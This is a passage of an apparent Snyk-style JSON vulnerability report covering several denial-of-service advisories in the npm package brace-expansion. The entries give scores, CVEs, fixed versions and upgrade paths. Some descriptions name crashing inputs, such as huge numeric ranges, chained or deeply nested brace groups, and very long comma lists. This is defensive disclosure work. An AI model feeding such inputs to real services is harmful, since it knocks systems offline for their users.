"url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", 